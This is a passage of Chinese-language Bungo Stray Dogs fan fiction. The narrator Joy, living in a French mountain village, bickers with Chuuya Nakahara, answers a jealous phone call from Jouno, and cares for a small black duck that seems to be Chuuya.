“交代吧,”正在喝酒的橘发青年手指一顿,不满地问道,“这种事是不是经常发生?”
“没有经常,就这一次。”
小镇上的女人少,男人多,大家又有着法国人骨子里与生俱来的浪漫基因,五岁的小男孩就会送花表达喜欢了。
“是么?”
中也的脸忽然凑近,他的双颊都染上了艳丽的绯色。
我知道这个状态意味着他快喝醉了。
喝醉酒的中也智商不到三岁,一会儿又要闹着和青花鱼比划了。
“中也大人,今天就喝到这里。”
我准备收起红酒,却被他拽住了酒瓶。
“……我还、还能喝!”
“下次再喝。”我只好哄道,“我给您留着。”
中也慢慢地抬起眼眸。
这是极其漫长的一眼,我看到了他眼中深不见底的悲伤。
“乔伊。”
“……嗯?”
“我能护住你。”
“嗯。”
“……钢琴师他们的事,不会再发生第二次了。”
他像是在向我保证,又像是在向他们保证。
隔着六年的时间和空间,他还在思念着旗会。
“这不是中也大人的错。”
他就是这样的人,他和我不一样。很不一样。
他怪自己当时不够强大。
我只会怪被杀的哥哥当时不够强大。
背负着挚友死亡心结的中也,即便白日里潇洒不羁,但内心深处始终有被阴影笼罩之处。
他喝了一些酒,将醉不醉的时候,才能讲出来。
除了我这个和港口Mafia毫无关系,又是旗会成员家属的人,他也没地方说了。
“我相信中也大人。”我点了点头,“您一定能保护我。”
他这才满意地闭上眼睛,头一歪,往前栽去——
他竟然靠在我的肩膀上睡着了。
屋外的Mafia成员早已等候多时,其中一人讷讷地问道:“中也大人今晚在这里留宿吗?”
“不留。”我替他回答道,“这里太简陋了,请带他回旅馆。”
“是。”
旅馆再破旧,条件肯定比这里要好。
望着中也红彤彤的睡脸,我忍不住伸出手指戳了戳他的鼻子。
他立马皱成了猪鼻子,还一拱一拱的。
连他的鼾声都特别可爱。
“做个好梦,中原中也。”
我想了想,拿出纸折了一只纸鹤,画上眼睛,塞进了他的风衣口袋里。
——再破例一次吧。
下不为例,我对自己这么说。
……
第二天早晨,我刚起床打开门,就看到院子里的秋千上坐着一个黑色的身影。
他正在和树上那只大肥鸟互瞪。
“早安,中也大人。”我走了过去,“我马上去为您准备咖啡——”
一只袋子朝我递了过来。
我接过袋子打开,里面是巧克力糖球,软曲奇和一些高级点心。
“中也大人在哪里买的?”我好奇地问,“菲利普亚小镇似乎没有这些零食。”
闻言,中也的表情古怪起来。
“……咳咳,别关注这些细节。”
“不能说吗?”我猜测道,“难道这些巧克力糖球是Mafia走私来的?”
“笨蛋,谁会走私零食!是——”他翻了个白眼,“总之是正规渠道来的!”
这个正规渠道更可疑了。
见我光看不吃,中也才肯告诉我,这些是从他的部下那里买来的。
他有个部下和我一样喜欢甜食,不远万里也要背着点心出任务,中也花了半天时间,才说动对方让出一半。
……不愧是中也。
如果是森鸥外,绝对强取豪夺了,还要哄部下卖给他一半,不可能的。
不过也正是这样宽厚的中也,才深深地吸引了哥哥他们吧。
“谢谢中也大人。”我拆开一颗糖球丢进嘴里,“我有半年多没吃到了,真怀念。”
这话说着有点心酸。
中也嘀咕道:“谁让你跑来这里。”
我又拆开一颗,举到他的唇边:“中也大人要不要也来一颗?”
夏季天亮的早,山里的风吹个不停。
风吹起中也的刘海,刘海下的眼神也跟着飘忽,荡起了一圈涟漪。
在他张嘴的那一刻,我收回了手,将糖球精准地扔进了自己的嘴里。
“我想起来了,中也大人又不爱吃甜食。”
中也:“……”
“哈哈中也大人上当了。”
青年无奈地叹气,从口袋里摸出了一只纸鹤——是我昨天放进去的那只。
“乔伊,这是你给我的吗?”
我没有否认,因为他的部下不会做这种无聊的事。
“在我的故乡有个传说,纸鹤可以让人梦到过世的人。”我装出好奇的样子,“所以中也大人梦到我哥哥了吗?”
他没吭声。
“没有么?传说好像不灵验呢。”
“灵验。”中也顿了顿,“灵验过两次。”
“真的吗?”我又假装激动,“太好了,中也大人。”
中也并不激动,他沉默地看着纸鹤。
长久的沉默令我有些心虚。
“难道是噩梦么?”
他没回答这个问题,犹豫着问道:“你是精神系的异能力者吗?”
“啊……怎么可能?”我笑了起来,“我要是能控制别人的精神,那我早就控制森先生把Mafia金库免费对广大市民开放了。异能力又不是人人都能拥有的——”
他打断我:“乔伊,我没有恶意。”
他继续他的推论:“我自己折的纸鹤不灵,其他人折的纸鹤也不灵,只有你离开Mafia那次留下的纸鹤,和昨天晚上的这只纸鹤有用。”
“可是中也大人,我给您送过不止两只纸鹤。”
“两只纸鹤的共同点是都被画上了眼睛。”
“我那是画着玩的。”我也开始了我的推论,“是您日有所思夜有所梦,看到我想到我哥哥,又聊到了关于旗会的话题,所以才会梦到他们——”
“我不会做梦。”
“……”
中也重复了一遍:“我自有记忆开始,从来没做过梦。”
我过了半天才从震惊中回过神来,轻声问道:“那您还算是人类吗?”
*
来到菲利普亚小镇的第二百零一天,我一样东西没拿,也没和一个熟人打招呼,从山路悄悄离开了。
Mafia的干部中原中也还坐在我家的院子里,一边研究地形图和接下来的工作,一边等我中午买菜回去。
不可能回去了。
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我迈着不擅长运动的双腿,累得气喘吁吁,气恼地想着,自己为什么要多事?
为什么要忍不住同情个体?
原本这件事在条野采菊那里已经画上了句号——以他失去双眼为代价。
谁能想到,我又会心软。
谁又能想到,中原中也根本不是人类。
他不是人类,不会做梦,于是我的谎言圆不过去。
幸好他逻辑自洽,认定我是精神系的异能力者,才勉强让我暂时喘口气。
——我果然应该去更远的地方。
去爱伦坡的书里。
不,去外太空或者海底深处。
“乔伊!”
身后传来了中也的声音。
糟了,他竟然追过来了。
我赶忙蹲下身体,假装收集蘑菇。
“奇怪,我记得山大菇在这附近——”
一双黑色的男士皮鞋在我的面前站定。
“中也大人,午饭要用到的山大菇还没找齐,请您耐心等待——”
他不关心午饭,也不关心山大菇。
“这么多年,你一直像这样东躲西藏吗?”
膝盖狠狠中了一箭。
他一下子说到了我最难堪的地方。
“我只是喜欢到处旅行。”
“哦,像逃命一样的旅行?”
面对咄咄逼人的中也,我也不再礼貌:“自以为是的家伙,你们港口Mafia都不东躲西藏,我凭什么?”
“是啊。”中也双手环胸,面无表情地反问,“作为一名黑手党,我都不逃避,你凭什么?”
有那么一瞬间,我怀疑他是森鸥外派来诈我的,昨晚的醉酒和悲伤都是他的表演。
一脉相承的黑泥精。
“收起你的杀意,你杀不了我。”他朝我伸出手,“我也不会伤害朋友的妹妹。”
朋友的妹妹。
对,朋友的妹妹,仅此而已。
我没有握中也的手,而是拽着他的裤子,借力站了起来。
我故意用了很大力气,将他的裤子扯松了。
中也眼角抽了抽,我立刻嚷嚷:“要允许朋友妹妹的淘气!”
他气笑了:“你可以再来一遍。”
“真的可以吗?”
假的。
下一秒,我被重力操控,浮了起来,两条腿在半空中乱蹬。
今天的中也和昨晚的判若两人,简直像是被森鸥外夺舍了。
“快放我下来!中也大人这样欺负我,我哥哥他们死不瞑目!”
中也充耳不闻,慢条斯理地整理着他的西裤。
气死我了!
“昨晚哭着说会保护我的人是谁啊?”
“我才没有哭!”中也皱眉,“不要给我加戏。”
他停顿了片刻,声音平静下去:“我不会再问你关于异能力的事了,你不用担心。”
我也平静下来了,他缓缓地将我放回地面上。
“我告诉你我不会做梦,只是提醒你,你会暴露异能的可能性。”
“如果我的出现,会让你失去栖身之所。”
他从我身旁绕了过去。
“那么应该消失的人是我才对。”
……不对。
他明明可以不告诉我他不会做梦的事。
但他宁愿暴露自己的秘密,也想提醒我。
“等一下,中也。”
这是我第一次不用敬语叫他。
他停下脚步,回过头时的嘴角竟然是上扬的,毫无被冒犯的不悦。
“虽然不能告诉你我的异能力,但我觉得你人还挺不错的。”
中也挑了挑眉,嘴角持续上扬。
“作为情报交换,我也告诉你一个秘密好了。”
“什么?”
“其实那天晚上我们什么也没发生,衣服是我自己撕碎的,中也你仍然是个处男,好了,以后不要自卑了。”
中也终于笑不出来了。
“笨蛋,谁自卑了啊!!!”
16.16
16
中也告诉我,他来菲利普亚小镇是为了寻找一种宝石。
早些年他刚加入港口Mafia时,负责过宝石的专线,对它的交易和护送方式都比较了解。
“西山那边的矿区听说挖到了价值连城的宝石,镇上也有人在那里工作。”
莎拉和戈尔登的父亲就是西山的矿工,原本他是一个老实本分的小卖部老板,为了满足儿子离开大山的愿望,才会去矿区打工挣钱。
“不过他们已经失联很久了。”
我带中也去莎拉家了解情况,他们一家对他表现出了极高的热情。
“哎呀,你就是那个每到星期三和星期五都打电话过来的乔伊小姐的男朋友吧?”
……罗拉太太不记事的毛病又犯了。
中也眉角跳了跳:“男朋友?”
他真会抓重点。
“是青梅竹马!”戈尔登瞪了他母亲一眼,“乔伊小姐解释过很多次了,真是的,妈妈你一点记性都没有!”
罗拉太太抓了抓头发:“抱歉,乔伊小姐,我是看你今天心情很好。”
“等等,每到星期三和星期五打电话过来是什么意思?”中也用日语问我。
“公家的电话费,可以报销的。”
“那人是谁?”
“我在日本的青梅竹马啊。”
“……没听你提过。”
中也的态度让我想起了我的哥哥。
以前我和条野出门玩,回来时他也这样盘问我。
久违的令人不爽。
“我没提过的事多着呢。”我不满地说,“我又没有向你汇报的义务。”
“……”
中也生气了。
他的生气不表现为大吵大闹,而是在很细微的方面。
比如此刻他从口袋里摸出了三颗巧克力糖球,一颗给了莎拉,一颗给了戈尔登,剩下的那颗应该是给我的——
我下意识伸手去接。
但他竟然把糖球又塞回了口袋里。
我的手伸在半空中,尴尬到只能摸一下窗台,假装关心卫生状况:“罗拉太太,您家的窗户擦得真干净。”
“这都是戈尔登辛苦擦窗户的功劳!”
我冷冷地看着中也,他的表情有微妙的得意,仿佛是在说:【我又没有什么都给你吃的义务】。
可恶!有巧克力糖球了不起啊!
中也有零食,又有经历和故事,很快就把莎拉和戈尔登俘获了。
两个孩子再也没看我一眼,一左一右地缠着他,叽叽喳喳地说个不停。
中也很有耐心,一面满足他们的要求,一面在打听关于他们父亲的事。
失宠的我只好和罗拉太太坐在草地上晒太阳。
“乔伊小姐,请在我家喝下午茶吧。”她热情地说道,“我准备做些小甜饼。”
还没等我感动,她又说道:“我得去问问中也大人喜欢蓝莓小甜饼还是草莓小甜饼。”
又是中也!
我要闹了。
叮铃叮铃——
小卖部的电话铃声是在这时候响起的。
条野打来电话的时间是星期三和星期五的下午,而今天是星期五。
我刚要去接电话,已经有人快我一步,拿起了听筒。
看着那只握着听筒的黑色手套,我不悦地说道:“这个电话是找我的,给我。”
中也没给我。
电话那头传来了条野的声音:“你好,我找一下乔乔,麻烦叫她来听电话。”
“乔乔?乔伊么?”中也摆出一副老父亲的姿态,“你找她有什么事吗?”
大概是条野以前没被莎拉家人盘问过,又或者今天接听的是个成年男性,让条野察觉到了不对劲。
他幽幽地来了一句:“找自己的未婚妻不是很正常的事吗?”
“……未、未婚妻?!”中也不自觉地拔高了音量。
我注意到他握着听筒的手指一下子捏紧了,真怕他控制不住力气把莎拉家的电话捏碎。
“我们要交流感情嘛,你说是不是啊,乔乔~”
不愧是条野,他居然从电话里听出我在旁边了。
对哦,他听的是听心跳声。
他说过他记得我心跳的频率,即使在茫茫人海中也能找到我。
中也看着我,他的表情十分古怪,欲言又止。
像是在等我的答案。
像是在等我否认。
我应该否认,但是——
他刚才不给我巧克力糖球!
他掏出来给我看然后又塞回去了!
“是啊。”我故意说道,“我和条野从小就有婚约。”
中也:“……”
“听到了吗?”条野冷冷地说,“还不赶快把电话还给我的未婚妻,莫名其妙的家伙。”
中也虽然不太情愿,但还是把听筒给了我。
“乔乔,你今天有没有想我呀?”
老实说,条野的这个电话我也不想接。
中也没走,耳朵也竖着在听,我不得不硬着头皮说:“……想了。”
“我也想死你了~”隔着电话,我都能想象条野此时欠扁的笑脸,“乔乔,今天你有没有努力工作呀,攒够钱养我了吗?”
这个死条野,就会挑这种时候占我便宜。
“我——”
听筒又被拽走了。
“让女人攒钱养你?要点脸吧。”中也对着电话骂道。
“又是你。”条野顿时不爽了,“你算哪根葱?要你养了?”
“我是她哥哥的兄弟,也算是……她的哥哥。”中也迅速给自己找到了定位,“以后禁止对她说这种轻浮的话。”
“轻浮?”条野笑了,“你是个黑手党成员吧。”
猜对了。
不过也不难猜,条野知道我哥哥生前是黑手党,交往的朋友基本也是黑手党。
“是又怎么样?”
“黑手党可是烧杀抢掠无恶不作的过街老鼠,用轻浮都是在赞美你们。”
条野说完还不忘抬自己一把,“顺带一提,我是专门镇压你们这些毒瘤的军警。你觉得乔乔会选择光芒万丈的公务员还是人人喊打的黑手党?哈哈哈——”
没等中也反击,他机智地挂掉了电话。
“混蛋!军警和公务员有什么了不起!”
中也咬牙切齿,脸都气得有些发黑了。
“最好别让本大爷碰到你!”
他扔下电话,头也不回地离开了小卖部。
接下来的三天,他一次也没有来我家。
我继续和以前一样的生活:喝咖啡做点心,浇花种草,设计服装……
只当中也从来没来过这里。
到第四天的傍晚,中也的一名部下出现在了院子里。
他才
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十五六岁的样子,是中也最年轻的部下。
“中也大人失联了。”少年捧着脸,担忧地说,“我已经两天联系不上他了。”
“可能是山里没信号。”我给少年泡了一杯茶。
“中也大人会不会已经死了?”
“……放心,不会的,他很强,这里没有人是他的对手。”
“啊呀,这茶好苦,没有糖吗?”
很好,还知道要往茶里加糖,应该没那么焦虑。
看着少年熟练地从口袋里摸出巧克力糖球放进茶里,我忍不住问道:“中也大人是向你购买的零食吗?”
“你怎么会知道?”少年一下子警觉起来了,“难道中也大人是买给你吃的?”
“……不是。”我心虚地否认了。
少年气鼓鼓地说:“哼,如果他是买给别人吃的,那我永远不会原谅他!”
“没有没有,他一颗都没有跟我分享。”
少年这才放下心来:“中也大人说自己在山里有点低血糖,出双倍价格让我把零食卖给他,我本来不想答应,但他对我有救命之恩,所以我才以十倍价格卖给了他一半。”
十倍!
这孩子真有做奸商的潜力,森鸥外后继有人。
关键是中也竟然会答应。
“如果中也大人过来这里,你要告诉我噢。”
少年发了一会儿牢骚便离开了,在他走后,我翻出了中也之前给我的袋子。
里面是没吃完的巧克力糖球和各种糖果。
我拆开一个糖球,放进嘴里。
外层的巧克力滋味微苦。
他以十倍的价格从部下那里买来的……
十倍……
仔细一想,我和中也其实也没有吵架的理由。
条野满嘴跑火车,没一句话靠谱,中也会反感他很正常。
中也想保护我,因为我是他朋友的妹妹。
朋友的妹妹,仅此而已。
他居然会以我的哥哥自居。
这个笨蛋!
……
夜里。
我躺在床上翻来覆去睡不着,门外忽然响起了脚步声,接着是急促的敲门声。
“乔伊小姐!乔伊小姐,你在家吗?”
——是罗拉太太。
我赶紧从床上爬起来,披上外套开门。
门外罗拉太太背着女儿莎拉,满脸焦急地说:“这孩子高烧两天了,刚才突然开始咳血,本间医生说要去外面的医院接受治疗!”
……咳血并不是感冒的征兆。
莎拉巴掌大的小脸烧得通红,嘴角也带着血迹,却还很懂事地安慰自家母亲:“妈妈,我不难受的。”
“莎拉,我可怜的宝贝,上帝一定会保佑你的!”
罗拉太太之所以会来找我,是因为我是小镇上少数会驾驶马车的人。
在爱伦坡小说里生活的那七年,出门只有马车和步行两种方式,我也不得不学会了。
但出山容易,去医院看病要花不少钱。
我看着罗拉太太凑出来的钱,摇了摇头,这个数额远远不够。
就在我翻箱倒柜在家里寻找值钱的东西时,一张黑色的卡片从窗外弹到了我的脚边。
——是一张银行卡。
月光下,站在柿子树上的纤细少年叹了口气:“中也大人非要我留在这里,原来就是为了预防这种事情。”
17.17
17
中也留下的银行卡解决了燃眉之急,莎拉及时得到了治疗,但还没有完全脱离危险。
“是乔伊姐姐救了我吗?”小姑娘睁开眼睛,虚弱地问道。
“不。”我摇了摇头,“救你的是帽子哥哥。”
帽子哥哥是莎拉对中也的称呼。
闻言,她的脸上扯出一抹纯真的笑容:“那莎拉长大了,要和帽子哥哥结婚!”
我摸了摸她的头:“等长大了再说这件事吧。”
“好久没见到帽子哥哥了咳咳咳——”剧烈的咳嗽使得她几乎要喘不上气。
我安慰道:“好好休息,等你病好了,帽子哥哥会来看你的。”
“真的吗?”
假的。
没人知道中也去了哪里。
他的那些部下也全部消失了。
唯一留下的部下是个整日研究美食的少年。
少年在医院附近的商店扫货了整整一马车的零食和饮料。
“乔伊小姐,你有没有想要的东西?”他兴奋地说道,“随便挑,反正中也大人全额报销。”
中也留钱是用来救人的,再拿去消费就不太好了。
于是我婉拒道:“我没什么想要的东西,给马买一些燕麦饼干。”
“好吧,那太可惜了。”
罗拉太太要留在医院陪莎拉,委托我将这件事通知戈尔登,于是我和少年又驾驶着马车先回山里了。
马车来回需要三天,由于长时间奔波,拉车的白马有些疲惫,在路过西山时竟然一头撞到了树上。
我检查了白马的伤势,发现它没什么大碍,便拿出燕麦饼干喂它。
眼角余光瞥见树旁的路上趴着一只黑色的鸟。
不知道是死的还是活的。
还没等我看清楚,少年跳下马车,捡起了它,“捡到一只鸭子。”
“鸭子?”我疑惑地说道,“有这么小的鸭子吗?”
“长得矮呗——哇靠,死鸭子啄我!”
……原来鸭子还活着。
少年的一根手指被它啄肿成了胡萝卜。
这只鸭子长得比一般的鸭子要小,浑身漆黑,只有脖子那一圈毛是橘色的。
它的一边翅膀耷拉着,似乎是受伤了,尽管如此,它仍然雄赳赳气昂昂地看着少年,气势逼人。
少年舔了舔嘴唇:“太好了,正好用你做蜜汁烤鸭。”
鸭子奋力发出了一声:“Chu!”
好奇怪,鸭子的叫声不是嘎嘎或者呱呱吗?
鸭子很快败在了异能力者手上,少年拎起它,准备当场摔死——
“等一下!”我赶紧阻止了他,“它还是个小鸭子,没多少肉的。”
“你太假了。”少年不满地说,“你上次做的油封鸭也是用的小鸭子,到我这里就同情上了?”
确实。
我对可食用动物一般没有感情。
但不知道为什么,看到这只鸭子的眼神,我竟然有些不忍心。
“今天我必吃鸭!”少年从怀里拿出了匕首。
“等等!”我从口袋里掏出了一把巧克力糖球。
这个牌子的巧克力糖球他再熟悉不过了。
少年果然停了下来。
“中也大人果然是买给女人了!”他悲愤地喊道,“他骗我!他为了女人骗我!”
鸭子也跟着激动:“Chu!”
……它瞎激动什么?
为了保住中也在部下心中的形象,我不得不说谎:“不是中也大人给我的,是我趁他不注意偷的。”
“真的吗?”少年狐疑道,“你看着也不像心机女啊。”
“看着不像而已,其实我可有心机了,你去Mafia的野生论坛看看就知道了。”我举出实例证明,“去年我可是爬上了中也大人的床,又勾搭了森首领。”
“多说点,我爱听。”少年听上瘾了,“说不定我会放了鸭子。”
“……地下室那个先生,也和我暧昧不清。”
救命,我在胡说什么啊!
“那这三个男人,你到底想选哪一个?”少年好奇。
“小孩子才做选择,我当然一个都不要。”
“为什么?”
“因为他们都是黑手党啊。”实际上这三个男人都不是我能选的。
“Chu……”凑热闹的鸭子低下了头,像是情绪低落。
少年八卦了好一阵子,并把他的巧克力糖球全要了回去,才肯放过鸭子。
他没再坐马车,一转眼就不见了人影。
“好了,小鸭子,你可以回家找妈妈了。”我对鸭子说。
鸭子眼睛一翻,头一歪,往旁边栽去——
我及时俯身接住了它。
它在我的手里缩成一团。
它冷得瑟瑟发抖,黑色的翅膀上全是血污,最令我惊讶的是,它竟然也有一双漂亮的蓝眼睛。
……和中也一样。
*
我把鸭子带回了家里。
镇上没有兽医,我只好简单给它擦拭了血污,并用毛巾包了起来。
能不能活下去全看造化。
它望着我,发出虚弱的声音:“Chu,Chu……”
“乖宝宝。”我判断它是没有安全感,把它抱在怀里,“妈妈在这里。”
“Chu!”
它只会一个音,Chu。
“既然如此,就叫你Chu鸭好了。”简单的决定了鸭子的名字,我去院子里给它挖了一些小虫子,拔了一些新鲜的草料。
“Chu鸭,吃饭了。”
鸭子看了看虫子和草料,又将头耷下了。
从白天到晚上,一只虫子都没少。
“你不喜欢这些吗?”
“Chu!”
“那你总该告诉我你想吃什么吧?”
鸭子昂起头,眼神落在了餐桌上,那上面有一盒草莓和我吃剩的法棍。
于是我试着洗了几颗草莓,将法棍切成小丁,放在了它的面前。
它这才慢吞吞地开始啄草莓。
“Chu鸭,要不要来点牛奶?”
“Chu!
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”
很神奇,我一天一杯的热牛奶,第一次与人分享,哦不,是与鸭分享,我喝一大杯,它喝三口。
一人一鸭开始了共同生活。
鸭子不像宠物,也不像家人,倒像是……我的监护人。
可能我这么说有点怪。
一开始是我削苹果削伤了手指,看着渗出的血迹,我没想着擦,而是直接用手指当笔,在纸上画了一朵花——
准确的说,应该是半朵。
因为我还没来得及给花涂色,便被散步回来的鸭子狠狠地啄了头,啄完后它又去屋里一顿乱翻,叼出来一片OK绷。
不仅如此,它把那张画花的纸也啄碎了。
晚上我泡澡,因为热水蔓延全身的感觉太过舒服,我渐渐在浴缸里睡着了……
然后我被啄醒了。
睁开眼睛发现鸭子站在浴缸边,而热水也变成了冷水。
原来我睡了那么久。
“阿嚏、阿嚏——”
在我从浴缸里起身穿衣服的时候,鸭子赶紧将身体转了过去,背对着我。
我看乐了。
“Chu鸭,要不要一起泡澡?”
“Chu!”
鸭子几乎是扑棱着逃出了浴室。
它的自尊心很强,不肯和我一起泡澡,也不睡屋里,更不用我给它搭的厕所,也不清楚它是去哪里解决生理问题的。
我偷偷跟踪过,被它发现了又是一顿啄,只好作罢。
这天夜里下起了雷雨,我打开窗户,看到鸭子靠在窗边在休息,一片树叶落在它的头上。
它每天就这样守在窗外,像一个合格的鸭骑士。
稀薄的月光将它的影子拉得很长。
一瞬间,我竟然以为我看到了中也。
……对不起,中也大人,当我眼瞎了吧。
“Chu鸭,进来休息。”
鸭子的翅膀被雨水淋湿了,它翅膀上的伤还没有痊愈,但它十分警觉,我还没碰到它,它已经睁开眼睛,站了起来。
“看那里,我给你做了一个小窝。”
我指了指我用篮子给它做的床,里面铺了柔软的小毯子。
鸭子不动。
“我一个人有点怕,你能不能进来陪我?”
“最近镇上出了很多事,我睡不好……”
“Chu。”它这才迈开小脚,飞了进来。
飞!
我家的鸭子会飞!
虽然下一秒,它就啪嗒一声,糊在了地板上。
“Chu!Chu!”它对着地板无能狂怒。
“你是鸭子,鸭子能飞这么高已经很不错啦,对了,有一件事我很好奇。”我捡起鸭子,将它翻了个面,认真地观察着它的……隐私部位。
没看懂。
和人类的结构不太一样。
“你到底是公的还是母的?”
鸭子愣了一下,妙啊,我竟然从一只鸭子脸上看到了羞愤。
继而迎接我的,是一顿疯狂乱啄。
“住嘴啊,我不看就是了!”
18.18
18
“Chu鸭,你到底是公的母的?”
鸭子没理睬我,高傲地坐在窗台上,跷着小短腿,望着下雨的天空。
我思索道:“没看到你的小鸡鸡,应该是母——”
话音未落,我的手指就被啄了一口。
“好了,我知道你是公的了。”
其实它对我比对中也的部下客气多了。
那名少年的手指当场就肿成了胡萝卜,而我的手指只留下了很浅的啄痕,很快就不痛了。
Chu鸭和普通的鸭子很不一样。
白天只要不下雨,它都要坚持外出,直到吃晚饭的时候才会回来,有时候晚上也会出门。
但它回来时羽毛总是搞得乱七八糟,甚至身上还会带着伤。
我帮它清洗身体,它很抗拒,折腾得到处都是水。
最后我没有办法了,使出了杀手锏。
“你要是再不配合,我就给你做绝育了。”
事实上小镇根本没有兽医,我也不懂如何阉割鸭子,但这句话成功威胁到了Chu鸭。
它终于平静下来,闭着眼睛任我宰割……哦不是,是任我替它洗澡。
Chu鸭也是一只勇敢的小鸭子,给它上药时总是一声不吭,而上次院子里的大肥鸟从树上摔下来,我帮忙上药时,大肥鸟龇牙咧嘴叫个不停还连夜搬走了。
“来看,Chu鸭,你的衣服做好了。”
听到我的声音,鸭子回过头,眼睛慢慢地瞪圆。
我给它做了一套洋气的小西装。
“穿上衣服的话,应该就没有人再把你当成食物了。”
鸭子微微低头,像是朝我鞠了一躬。
……好吧,它做出什么举动我都不必惊讶了。
我帮它穿上西装,它原地踱步了一会儿,又用翅膀拍了拍脚,眼巴巴地看着我。
“你想要一双鞋子?”
它点了点头。
“好,我知道了。”我拿出卷尺替它量脚掌长度,它格外配合,只是能明显感觉到它的落寞。
很神奇,我竟然从一只鸭子身上看到了悲伤。
“Chu,你想家里鸭了吗?”
“每天那么辛苦外出是在寻找他们吗?”
它没回应我,把头埋得很低,我以为它哭了,凑近一看才发现它是睡着了。
睡着的鸭子十分可爱,头像啄米一样一点一点的,鼻子上还挂着一个泡泡。
我戳了戳它的鼻子,它的脸立刻皱成了一团。
……好像中也。
真想让中也见见这只鸭子。
森鸥外一向脑回路清奇,也许会同意让一只鸭子加入黑手党。
做鞋子是个细致的功夫活,尤其是我第一次给动物做鞋,熬到很晚才做完,因为太困,我便直接趴在桌上睡觉了。
夜里有窸窸窣窣的声音传来,我睁开眼睛,看到了令我震惊的一幕。
Chu鸭正在拉扯一条不知道比它重了多少倍的毯子——那是我平时睡觉盖的毯子。
凭一只小鸭子的体力,是难以支撑这样的大工程的,于是它很快跌倒了。
跌倒了,却又爬了起来,再跌倒,再爬起来……
如此反复。
我大为震撼。
我看到的哪里是一只鸭子,这是一个不屈的灵魂。
它终于将毯子从床边拖到了桌边。
“Chu……”它轻声道,像是在给自己加油打气。
然后它努力张开嘴,叼住毯子的一小角,扇动翅膀,想要飞起来——
它想给我盖上毯子。
我曾无数次在冰冷的夜里,独自趴在桌上睡去,但从未有人替我盖过毯子。
怪谁呢?
谁也不怪。
这是我自己选择的路。
一眼看到头的孤独和一眼看不到头的孤独。
鸭子飞了起来,但毯子太重了,它又倔强地
不肯松嘴,又因为毯子的重力而往下摔去——
千钧一发之际,我伸手接住了它。
四目相对,鸭子移开了眼睛。
“Chu……”
“你的鞋子做好了。”
我替它穿上鞋子,它估计很满意,一直在看自己的小脚。
“Chu鸭,你明天想吃什么,我要去买菜。”
我专门画了一本菜单,让鸭子自己决定。
我翻一页,它看一页。
在翻到油封鸭那一页时,它抬起了头看我。
它选这个。
“我不是让你选择死法,是让你选吃的。”
它仍然看着我,满脸期待。
“你想吃鸭子?!”
它没否认。
“Chu鸭君,你知道自己是什么吗?”我拿起镜子照它。
它这才悻悻地低下头,用翅膀指了指牛肉馅饼和蔬菜天妇罗。
在小镇牛肉属于奢侈品,我没有固定工作,一般靠设计衣服为生,客户也只有固定一人。
但养活自己和一只鸭子绰绰有余。
“你居然给鸭子做衣服,还让鸭子上桌吃饭。”
我和Chu鸭吃午餐时,门口传来了一个少年的声音。
——是中也那个被留下的部下。
少年单手插在口袋里,另一只手的指尖勾着一顶帽子正在转来转去。
帽子的款式和中也的那顶一模一样。
他优雅地行了个绅士礼:“乔伊小姐,介意餐桌上多一名美男子吗?”
我心说连鸭子都上桌了,其他的也都无所谓了。
“不介意,请稍等,我去拿一套新的餐具。”
“你好像从来没问过我的名字。”
“哦,你叫什么名字?”我边拿盘子边问。
他一愣,随即笑了起来。
“乔伊小姐,你以后跟我吧。”
两道视线同时射向了少年,一道来自我,一道来自Chu鸭。
……鸭子还爱听八卦。
少年继续说道:“森首领年纪大了,又有腰疼的老毛病,地下室的那位跟老鼠一样上不了台面,而中也大人——”
话到此处,他将那顶帽子戴在了我的头上。
“恐怕是凶多吉少了。”
上司和同事全体失踪,他却丝毫不担忧,冷静的不像个十几岁的孩子。
“乔伊小姐,除了我,你没有更好的选择了。”
“先吃饭吧。”我将餐具递给他,“菜要凉了。”
“牛肉馅饼看着很美味,不过,”他瞥了一眼Chu鸭,“就是鸭子太碍眼。”
“你不看它不就好了。”我拽了一张纸巾对折,垫在鸭子的脖子底下。
由于鸭子嘴小,我便将它的那份馅饼切碎了,还洒了一点胡萝卜碎。
“喝点水。”我把小杯子移到了鸭子面前。
里面是甜甜的果汁。
鸭子不习惯被这样照顾,继续埋头吃馅饼。
少年饶有兴致地看着,忽而发出感慨:“乔伊小姐,你和我遇到过的其他女人都不一样。”
“这个世界上本来就没有一样的人。”
“你也知道我不是那个意思。”
“我不知道。”
我努力把天聊死,少年却依然兴致勃勃。
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>人竟然没有一只鸭子会看女人脸色。
平时我不高兴的时候,Chu鸭都离我远远的,生怕被波及,看到我笑,它才会放心地走过来。
“馅饼和天妇罗都很美味,对美食家而言,这是一种致命的诱惑。”
少年吃饱了还不走,也没有打算帮忙洗碗的样子。
我也有些烦了,收拾了餐具去厨房清洗。
“中也大人不会回来了。”
啪嗒——
我被人按在了墙上。
好痛!
我的后背估计都撞青了。
不会壁咚就别硬咚。
“而我会取代他,成为Mafia新的干部。”
“那你加油。”
我弯下腰,抱着餐具从他的胳膊下面钻了出去。
“我要去洗碗了。”
“乔伊小姐,你考虑清楚——”
哗哗的水声盖住了少年的声音。
我没有听清他还说了什么。
头上的帽子慢慢下滑,盖住了我的视线,我将它拿了下来。
这是一顶做工优良的黑色帽子,属于Mafia的干部中原中也。
那位干部向来帽不离身,这次应该遇到了不小的麻烦。
“但是这和我有什么关系?”
我擦干净手走出厨房,看到一人一鸭正在对峙。
Chu鸭朝少年龇牙,少年皱眉,一脚踢开了鸭子。
“我看你不爽很久了。”少年冷冷地说。
“Chu!”
Chu鸭受了伤,却不肯退让,死死地瞪着少年。
我赶紧将它抱走。
它拼命挣扎,还啄我的手,我只好恐吓它:“想绝育了?”
绝育一词是鸭子的死穴。
它立刻老实下来。
我替它擦拭干净嘴角的血迹,确认它没受其他伤,又用食指敲了敲它的头。
“为什么要去挑战比自己强大的人类?”
“Chu!”
“下次不要做这种事了,我那点体术又打不过他,你会变成油封鸭的。”
“Chu!Chu!”
鸭子学会了很多东西,就是学不会害怕和逃避。
归根结底,它讨厌逃避。
“那我不和你玩了。”我垂下眼眸,“毕竟我是一个逃避主义者。”
鸭子扭过了头,也不打算和我玩。
外面又下起了大雨,这个季节的菲利普亚小镇很容易下雨。
Chu鸭趴在窗台上观察雨中的世界,而我在走廊上捡起了两朵被雨打落的野花。
“中也大人死了……”我撕下一朵花瓣。
“中也大人没死……”我又撕下一朵花瓣。
“Chu~”
可恶,我怎么感觉鸭子在冷笑。
它在嘲笑日本女生都热衷的鲜花占卜术。
最后一片花瓣——
“中也大人没死。”
占卜完一朵,还有一朵可以占卜。
“中也大人讨厌我……”
“中也大人不讨厌我……”
……
最后一片花瓣——
